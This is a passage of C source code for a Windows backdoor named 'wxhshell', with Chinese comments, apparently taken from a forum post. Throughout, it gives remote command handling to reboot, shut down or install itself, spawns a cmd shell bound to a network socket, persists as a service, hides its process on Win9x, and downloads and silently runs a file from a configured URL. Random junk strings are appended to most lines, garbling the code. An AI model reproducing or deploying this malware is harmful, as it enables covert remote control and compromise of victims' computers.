  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eIBHAdU+g/  
  } 9v>BP`Mg  
  else { g^ZsV:D  
eYZ{mo7  
    switch(cmd[0]) { hbRDM'  
  '2mR;APz  
  // 帮助 WBD e`  
  case '?': { lPF(&pP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S`HshYlE q  
    break; m99j]w r~c  
  } =!u9]3)  
  // 安装 Rj 2N+59rg  
  case 'i': { 4lhoA  
    if(Install()) >Pne@w!*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d MQ]=  
    else B7r={P!0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~03Z[_"/  
    break; K dY3  
    } 4+%;eY.A  
  // 卸载 8}9|hT;  
  case 'r': { #-$\f(+<  
    if(Uninstall()) d\C x(Lb[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Z=OUhn9  
    else [SGt ~bRJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ylbh_ d~BU  
    break; RU&,z3LEb  
    } jY>|>]4X  
  // 显示 wxhshell 所在路径 ?&$??r^i  
  case 'p': { V?AHj<  
    char svExeFile[MAX_PATH]; >^}nk04  
    strcpy(svExeFile,"\n\r"); zy\p,  
      strcat(svExeFile,ExeFile); YoiM\gw  
        send(wsh,svExeFile,strlen(svExeFile),0); V#8]io  
    break; "8MG[$Y  
    } <YX)am'\y  
  // 重启 B;xw @:H  
  case 'b': { <tkxE!xF`J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AffVah2o:  
    if(Boot(REBOOT)) tdZ,sHY6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *lHI\5  
    else { @i'24Q[6  
    closesocket(wsh); :K&>  
    ExitThread(0); 62lG,y_L  
    } mUW|4zl i}  
    break; <cu? g  
    } Q79& Q04XN  
  // 关机 \Y.&G,?  
  case 'd': { %qA@)u53  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Pw:(X0@  
    if(Boot(SHUTDOWN)) Hik8u!#P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[{Ty+  
    else { BG:l Zj'I  
    closesocket(wsh); 6&/H XqP  
    ExitThread(0); p ;E zmz  
    } b]S4\BBT  
    break;  .b] 32Ww  
    } W+k`^A|@  
  // 获取shell P Z5BtDm  
  case 's': { 7tWt3  
    CmdShell(wsh); P<P4*cOV  
    closesocket(wsh); XrR@cDNx{  
    ExitThread(0); #N%ATV  
    break; ]D|sQPi]F  
  } JqWMO!1  
  // 退出 0v6(A4Y  
  case 'x': { !wH7;tU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Xy{&Ut\  
    CloseIt(wsh); qh}M!p2  
    break; P(?i>F7s  
    } g7*cwu  
  // 离开 q~*3Bk~  
  case 'q': { Mf0!-bu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H':dLR  
    closesocket(wsh); .5=Qf vi*  
    WSACleanup();  V[D[MZ  
    exit(1); BM bT:)%  
    break; dhl[JC~ _  
        } jR~2mf!h*e  
  } S"?py=7  
  } p x;X}Cd  
A:Y]<jt  
  // 提示信息 \+OP!`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jxA`RSY  
} O8BxXa@5  
  } :x e/7-  
$47cKit|k:  
  return; \(UEjlo  
} GCx1lm  
Jp)>Wd  
// shell模块句柄 G<.p".o4  
int CmdShell(SOCKET sock) GRpS^%8i@  
{ F@Bh>Vb  
STARTUPINFO si; d;(&_;  
ZeroMemory(&si,sizeof(si)); O+Z[bis`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h%e}4U@X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yjCY2T E  
PROCESS_INFORMATION ProcessInfo; 9G(.=aOj,  
char cmdline[]="cmd"; @l3L_;6a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4>]^1J7Wz  
  return 0; 3md yY\+&  
} 1B~H*=t4h  
[ bv>(a_,  
// 自身启动模式 oQJK}9QR  
int StartFromService(void) 9vc3&r  
{ W]|;ZzZ=m  
typedef struct 77/&M^0  
{ ) *:<3g!  
  DWORD ExitStatus; a&YD4DQ05  
  DWORD PebBaseAddress; xR5jy|2JJ  
  DWORD AffinityMask; $-""=O|"   
  DWORD BasePriority; ~7PPB|XY  
  ULONG UniqueProcessId; /'U/rjb_h{  
  ULONG InheritedFromUniqueProcessId; /7Z0|Zw]  
}   PROCESS_BASIC_INFORMATION; #5HJW[9  
c_b^t09  
PROCNTQSIP NtQueryInformationProcess; ?8wFT!J  
z,XM|-"#<K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1G/bqIMg63  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CL/8p;  
_%Q\G,a;  
  HANDLE             hProcess; =L~,HS(l,  
  PROCESS_BASIC_INFORMATION pbi; @]lKQZ^2&  
[sG=(~BU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U(5(0r  
  if(NULL == hInst ) return 0; >O[# 661  
w91gM*A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s+?r4t3H!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kJIKULf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :HhLc'1Jw  
oD_'8G}  
  if (!NtQueryInformationProcess) return 0; eN]0]9JO  
DmAMr=p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rC~hjViG.  
  if(!hProcess) return 0; ~X;r}l=k<  
+) 2c\1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * bmdY=#7  
K1RTAFf /  
  CloseHandle(hProcess); 2!/*I:  
]dk44,EL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j6Acd~y\2  
if(hProcess==NULL) return 0; Eugt~j3  
\2i4]V  
HMODULE hMod; jTk !wm=  
char procName[255]; *%5#\ I  
unsigned long cbNeeded; 2#'{Q4K  
ehj&A+Ip  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "PGEiLY  
==I:>+_ ^|  
  CloseHandle(hProcess); _5#f9,m1  
M`HXUA4  
if(strstr(procName,"services")) return 1; // 以服务启动 J'tc5Ip!}V  
2vWJ|&|p  
  return 0; // 注册表启动 >69xl^Gd  
} R7cY$ K{j  
5o\yhYS:  
// 主模块 Z QND^a:  
int StartWxhshell(LPSTR lpCmdLine) pc}Q_~e  
{ B&|F9Z6D  
  SOCKET wsl; y|V/xm+Fp  
BOOL val=TRUE; 0[}"b(O{  
  int port=0; Md'd=Y_0  
  struct sockaddr_in door; 5T}$+R0&  
hX\XNiCiK8  
  if(wscfg.ws_autoins) Install(); dUeM+(s1  
k!O#6Z  
port=atoi(lpCmdLine); e#IED!U  
t6_6Bl:  
if(port<=0) port=wscfg.ws_port; ?m#X";^V  
uy{mSx?td  
  WSADATA data; +#O?a`f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MdT'xYomzQ  
tDFN *#(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2Xk(3J!!'a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F>&Q5Kl R  
  door.sin_family = AF_INET; 6d"dJV.\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KZeRbq2 jJ  
  door.sin_port = htons(port); \p1H" A  
20;M-Wx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DIodQkF  
closesocket(wsl); iOm1U_S  
return 1; ga^O]yK  
} ON _uu]=  
G\tTwX4  
  if(listen(wsl,2) == INVALID_SOCKET) { ]OZZPo  
closesocket(wsl); "?lirOD  
return 1; ^Qz8`1`;Z  
} vjaIFyj  
  Wxhshell(wsl); GEfX,9LF&  
  WSACleanup(); ?rXh x{vD  
3(%hHM7DM  
return 0; & PrV+Lv  
=K{$?%"  
} YFOK%7K  
?qYw9XQYL  
// 以NT服务方式启动 1t=Y+|vA9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  (:].?o  
{ bG67TWY)  
DWORD   status = 0; s0v?*GRX  
  DWORD   specificError = 0xfffffff; V^nYG$si  
~;#J&V@D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {4ON2{8;4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C,z7f"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EaFd1  
  serviceStatus.dwWin32ExitCode     = 0; A_T-]YQ  
  serviceStatus.dwServiceSpecificExitCode = 0; zMt"ST.  
  serviceStatus.dwCheckPoint       = 0; g"( vl-Uw  
  serviceStatus.dwWaitHint       = 0; Y'Sxehx  
?mS798=f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C*ZgjFvB  
  if (hServiceStatusHandle==0) return; Xj"/6|X  
fG;)wQJ  
status = GetLastError(); o %A4wEye  
  if (status!=NO_ERROR) L7_Mg{  
{ U2/H,D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 75wQH*  
    serviceStatus.dwCheckPoint       = 0; @no]*?Gpa  
    serviceStatus.dwWaitHint       = 0; %m!o#y(hD`  
    serviceStatus.dwWin32ExitCode     = status; r0l ud&_9  
    serviceStatus.dwServiceSpecificExitCode = specificError; i;*c|ma1>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iyU@|^B"Wa  
    return; |uV1S^ !A  
  } e"hm|'  
Yi&;4vC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V\%;S  
  serviceStatus.dwCheckPoint       = 0; f!e8xDfA  
  serviceStatus.dwWaitHint       = 0; #>O,w0<qM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wra*lQb/B  
} #nX0xV5=  
_)p@;vGV  
// 处理NT服务事件,比如:启动、停止 n99:2r_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yEtI5Qk  
{ ygS*))7 r  
switch(fdwControl) $$<9tqA  
{ SG |!wH^  
case SERVICE_CONTROL_STOP: t*zve,?}  
  serviceStatus.dwWin32ExitCode = 0; 4O9HoX#-?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j#Ly!%dp  
  serviceStatus.dwCheckPoint   = 0; 5|x&Z/hL  
  serviceStatus.dwWaitHint     = 0; e'(n ^_$nl  
  {  kOETx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >#*]/t  
  } X<K[` =I  
  return; ;5ugnVXu  
case SERVICE_CONTROL_PAUSE: RPP xiYU^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2,/("lV@0  
  break; IE: x&q`3  
case SERVICE_CONTROL_CONTINUE: G%;XJsFGp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kl{2^ q>  
  break; ,AGK O,w  
case SERVICE_CONTROL_INTERROGATE: %;^[WT`,  
  break; g$ZgR)q  
}; MA.1t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4otB1{  
} a36n}R4Q  
k^z)Vu|f.  
// 标准应用程序主函数 d"Y9go"Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c~ l$_A  
{ cz OhSbmc  
. Uv7{(  
// 获取操作系统版本 ss T o?WL|  
OsIsNt=GetOsVer(); EyI 9$@4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P9:7_Vc  
!w]!\H  
  // 从命令行安装 y1c Aw   
  if(strpbrk(lpCmdLine,"iI")) Install(); 6=Kl[U0Y  
*W y0hnr;]  
  // 下载执行文件 D(Zux8l  
if(wscfg.ws_downexe) { _D1bR7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,[,+ _A  
  WinExec(wscfg.ws_filenam,SW_HIDE); M ioS  
} )J<Li!3  
"'94E,W  
if(!OsIsNt) { }h5pM`|1  
// 如果时win9x,隐藏进程并且设置为注册表启动 .^I,C!O#  
HideProc(); u]@``Zb|  
StartWxhshell(lpCmdLine); JMuUj_^}7  
} ^USj9HTK  
else eg~$WB;1  
  if(StartFromService()) vlw2dY@^  
  // 以服务方式启动 /8q7pwV  
  StartServiceCtrlDispatcher(DispatchTable); |iLeOztuE  
else i cQsA  
  // 普通方式启动 p+snBaAo}  
  StartWxhshell(lpCmdLine); J;+tQ8,AP  
S"CsY2;  
return 0; '1~mnmiP  
}
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只看该作者 1 发表于: 2006-10-10
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